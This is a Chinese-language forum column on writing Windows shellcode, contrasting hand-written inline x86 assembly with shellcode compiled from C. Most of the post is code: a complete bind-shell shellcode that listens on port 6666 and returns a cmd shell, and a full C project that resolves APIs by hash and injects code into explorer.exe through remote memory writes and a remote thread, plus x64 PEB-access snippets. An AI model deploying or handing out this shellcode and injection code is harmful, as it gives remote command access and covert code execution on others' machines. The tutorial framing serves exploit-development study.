首页
论坛
专栏
课程

分享:

shellcode开发的前世(老办法)今生(新方法)

       shellcode开发的前世

      12年刚刚毕业shellcode开发还是利用汇编语言进行开发的,那时我使用redasm和vc内联汇编的方法进行shellcode开发,大部分汇编代码直接复制别人的代码,然后再一点一点的修复其中的问题,那时开发shellcode简直是一场噩梦。
CLD
        //存储hash
        push 0x01971eb1                //accept
        push 0x4bd39f0c                //listen
        push 0xdda71064                //bind
        push 0xde78322d                //WSASocket   
        push 0x80b46a3d                //WSAStartup
                                    //----------------------以上是ws2_32.dll中的函数
        push 0x0c917432                //load
        push 0x6ba6bcc9                //createProcessA
        push 0x4fd18963                //ExitProcess
                                    //-----------------------以上是kernel32.dll导出的函数
        mov esi,esp                    //esi = hash list 的顶 exitprocess 
        lea edi,[esi + 0x20]        //8个函数 *4 = 0x20     edi 指向 查找到的函数地址写入位置
         
        xor ebx,ebx                   
        mov bh,0x05                   
        sub esp,ebx                    //抬高堆栈  500h 保护 hash list
         
        mov bx,0x3233                //2 3
        push ebx
        push 0x5F327377                //_ 2 s w
        push  esp                    //ebp = "ws2_32"
        xor edx,edx
 
        mov ebx,fs:[edx+0x30]       //peb addr
        mov ecx,[ebx + 0x0c]        // ldr addr
        mov ecx,[ecx + 0x1c]        // list frist
 
        push edi
        push esi
 
next_module:
        mov ebp,[ecx+0x08]
        mov edi,[ecx+0x20]
        mov ecx,[ecx]
        cmp [edi + 12*2],dx
        jne next_module
         
        pop esi
        pop edi
 
 
find_lib_functions:
         
            lodsd                            //esi 所指定的字符 传送如eax
            cmp eax,0x80b46a3d                //zhenw0
             
            jne find_functions                //如果 要查找accept的hash时 要切换dll了
            xchg ebp,eax
            call [edi - 0x04]                // edi - 0x0c 存放这LoadLibraryA的地址
            xchg ebp,eax           
             
find_functions:
            pushad
            mov eax,[ebp+0x3c]
            mov ecx,[ebp+eax+0x78]
            add ecx,ebp
            mov ebx,[ecx+0x20]
            add ebx,ebp
            xor edi,edi
             
next_function_loop:
            inc edi                        //zai exp 表中查找 函数
            mov esi,[ebx+edi*4]
            add esi,ebp
            cdq
             
hash_loop:                                //计算hash
            movsx eax,byte ptr[esi]
            cmp al,ah
            jz compare_hash                //如果到了 函数字符串的 00结尾就 比较hash至
            ror edx,7                    //右移7
            add edx,eax                    //
            inc esi
            jmp hash_loop
             
compare_hash:
            cmp edx,[esp+0x1c]       
            jnz next_function_loop
            mov ebx,[ecx+0x24]
            add ebx,ebp
            mov di,[ebx+2*edi]
            mov ebx,[ecx+0x1c]
            add ebx,ebp
            add ebp,[ebx +4*edi]
            xchg eax,ebp
            pop edi
            stosd
            push edi
            popad
            cmp eax,0x01971eb1                    //如果已经查找到最后一个hash了 就不跳转了
            jne find_lib_functions
             
function_call:        //函数都找到了 开始 scoket了
 
            add esi,0x0c       
 
            //mov eax,[esi]
    //--------------------------------------------------wsastartup(dword,lpwsadata)
            //std
            //std
            push esp
            push 0x02
            lodsd
            call eax
    // eax = 0 可以使用eax填充数据
    //-------------------------------------------------WSASocketA(af,type ...)
             
            mov ecx,0x50
            mov edi,esp
            rep stosd
             
            inc eax //eax = 1
            push eax
            inc eax
            push eax
            lodsd
            call eax
            xchg ebp,eax        // ebp = socket handle
             
    //--------------------------------------------------------bind
            mov eax,0x0a1aff02
            xor ah,ah
            push eax
            push esp
call_loop:                // bind() listen() accept() dou zai zhe li
            push ebp
            lodsd
            call eax
            test eax,eax
            jz call_loop
             
            //初始化,startpinfo
            inc byte ptr [esp+0x2d]
            lea edi,[esp+0x38]
            stosd
            stosd
            stosd
                 
            pop eax
 
 
            push esp
            push esp
            push eax
            push eax
            push eax
            push esp
            push eax
            push eax
            //int 3
            //////////cmd
             
            mov dword ptr [esi],0x646d63
            push esi
             
            ///////////////
            push eax
             
             
         
 
            call [esi-0x1c]
 
            call [esi-0x20]

         以上是vc内联的一个bindshell的x86的shellcode,这个shellcode会监听6666端口,并返回一个cmd的shell。这个代码来自于0day安全第二版中的例子,我已经修复了其中的几处问题。这个代码我用了大约2周的闲暇时间整理分析,当时给我的感觉就是太博大精深了,只有感叹。感叹汇编代码好难,好难看懂。

       为了获取si.dwFlags值和dwFlags的偏移值,我们要这样获取


        为了获取si中的hStdInput元素的偏移值,我们这样获取


汇编shellcode的缺点

        从上面的例子暴露出汇编编码shellcode的几个问题

1. 必须熟练掌握并能使用win32汇编,门槛高,开发效率低下,公用性差

2. 偏移量和某些定义值,得借助文档或者其他手段获取

3. 以上是win32的shellcode,如果用于x64进程中,必须重新开发一套

4. 微软不对vc x64模式下提供内联汇编的支持。

汇编shellcode的优点

        汇编编写的shellcode虽然缺点不少,其实它也有它优点

1.完全由自己实现,很多地方可以灵活实现

2.代码大小可以做到极致

shellcode开发的今生

          14年左右开发接触使用c语言开发shellcode, http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/,就是前面链接的这篇文章,给了很大启发。从此开始尝试使用c语言开发shellcode。
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <wchar.h>
#include <tlhelp32.h>

PPEB get_peb(void);
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
DWORD __stdcall ror13_hash(const char *string);
HMODULE __stdcall find_module_by_hash(DWORD hash);
HMODULE __stdcall find_kernel32(void);
FARPROC __stdcall find_function(HMODULE module, DWORD hash);
HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
BOOL __stdcall strmatch(const char *a, const char *b);

void __stdcall shell_code()
{
    HMODULE kern32;
    DWORD *dwptr;
    HANDLE hProcess;
    char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
    char code[] = {0xEB, 0xFE};

    kern32 = find_kernel32();
    hProcess = find_process(kern32, (char *)procname);
    inject_code(kern32, hProcess, code, sizeof code);
}

HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
{
    FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
    FARPROC process32first = find_function(kern32, 0x3249BAA7);
    FARPROC process32next = find_function(kern32, 0x4776654A);
    FARPROC openprocess = find_function(kern32, 0xEFE297C0);
    FARPROC createprocess = find_function(kern32, 0x16B3FE72);
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;

    hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;

    pe32.dwSize = sizeof( PROCESSENTRY32 );

    if (!process32first(hSnapshot, &pe32))
        return INVALID_HANDLE_VALUE;

    do
    {
        if (strmatch(pe32.szExeFile, procname))
        {
            return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
        }
    } while (process32next(hSnapshot, &pe32));

    return INVALID_HANDLE_VALUE;
}

BOOL __stdcall strmatch(const char *a, const char *b)
{
    while (*a != '' && *b != '')
    {
        char aA_delta = 'a' - 'A';
        char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
        char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;

        if (a_conv != b_conv)
            return FALSE;
        a++;
        b++;
    }

    if (*b == '' && *a == '')
        return TRUE;
    else
        return FALSE;
}

VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
{
    FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
    FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
    FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
    LPVOID remote_buffer;
    DWORD dwNumBytesWritten;

    remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remote_buffer == NULL)
        return;

    if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
        return;

    createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
}

HMODULE __stdcall find_kernel32(void)
{
    return find_module_by_hash(0x8FECD63F);
}

HMODULE __stdcall find_module_by_hash(DWORD hash)
{
    PPEB peb;
    LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;

    peb = get_peb();

    module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
    first_mod = module_ptr;

    do {
        if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
            return (HMODULE)module_ptr->Reserved2[0];
        else
            module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,

    return INVALID_HANDLE_VALUE;
}

PPEB __declspec(naked) get_peb(void)
{
    __asm {
        mov eax, fs:[0x30]
        ret
    }
}

DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
    DWORD hash = 0;

    while (*unicode_string != 0)
    {
        DWORD val = (DWORD)*unicode_string++;
        hash = (hash >> 13) | (hash << 19); // ROR 13
        hash += val;
    }
    return hash;
}

DWORD __stdcall ror13_hash(const char *string)
{
    DWORD hash = 0;

    while (*string) {
        DWORD val = (DWORD) *string++;
        hash = (hash >> 13)|(hash << 19);  // ROR 13
        hash += val;
    }
    return hash;
}

FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
    IMAGE_DOS_HEADER *dos_header;
    IMAGE_NT_HEADERS *nt_headers;
    IMAGE_EXPORT_DIRECTORY *export_dir;
    DWORD *names, *funcs;
    WORD *nameords;
    int i;

    dos_header = (IMAGE_DOS_HEADER *)module;
    nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
    export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    names = (DWORD *)((char *)module + export_dir->AddressOfNames);
    funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
    nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);

    for (i = 0; i < export_dir->NumberOfNames; i++)
    {
        char *string = (char *)module + names[i];
        if (hash == ror13_hash(string))
        {
            WORD nameord = nameords[i];
            DWORD funcrva = funcs[nameord];
            return (FARPROC)((char *)module + funcrva);
        }
    }

    return NULL;
}

void __declspec(naked) END_SHELLCODE(void) {}

int main(int argc, char *argv[])
{
    FILE *output_file = fopen("shellcode.bin", "w");
    fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
    fclose(output_file);

    return 0;
}
        以上是 nickharbour提供的一个完整的shellcode的c工程,其中使用如下技巧
1. PEB链表查找kernel32.dll模块在内存中的位置获取HMODULE句柄
2.遍历dll导出表比对函数名hash值的办法,找到要用的API函数地址
3.借助<windows.h>中的数据结构轻松组装API使用的参数和解析结构元素数据
4.利用END_SHELLCODE和shell_code两个函数来计算shellcode大小
    其中也隐藏着一个问题
在特定编译器或者某个优化配置下(无优化)END_SHELLCODE和shell_code之间的代码正好是完整的shellcode,这样shellcode的体积可能会很大;
如果开启优化选项,就不能保证 END_SHELLCODE和shell_code之间的代码正好是完整的shellcode,这就会造成崩溃。
    还有一个问题是,其中使用了内联win32汇编获取PEB,目前vs不再支持下64模式下的内联汇编了,直接切换到x64模式下,根本没法编译通过。
    这里可以使用以下办法解决这个问题
#if defined(_WIN64)
	PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
	// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
	// necessary to get the PEB.Ldr address
	PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
	__emit( 0x00006B1B );
#else
	PebAddress = (PPEB) __readfsdword( 0x30 );
#endif

shellcode in C的优点

通过以上c语言shellcode代码可以看出使用c语言开发shellcode几个优点
1. 使用c代码,简单易懂,开发效率高。
2. 有微软提供的数据结构定义,可以快速准确的完成windowsAPI的调用。
3. vs开发工具提供x86和x64开发模式, 可以完成x86和x64模式之间的快速生成和切换

shellcode in C的缺点

相对于汇编shellcode而言
1.完全借助vs编译优化,灵活性不如前者
2.一针一线的规范编程,体积会比前者大
      

上一篇 :
下一篇 :
讨论 (0)
沪ICP备16048531号-1
沪公网安备 31011502006611号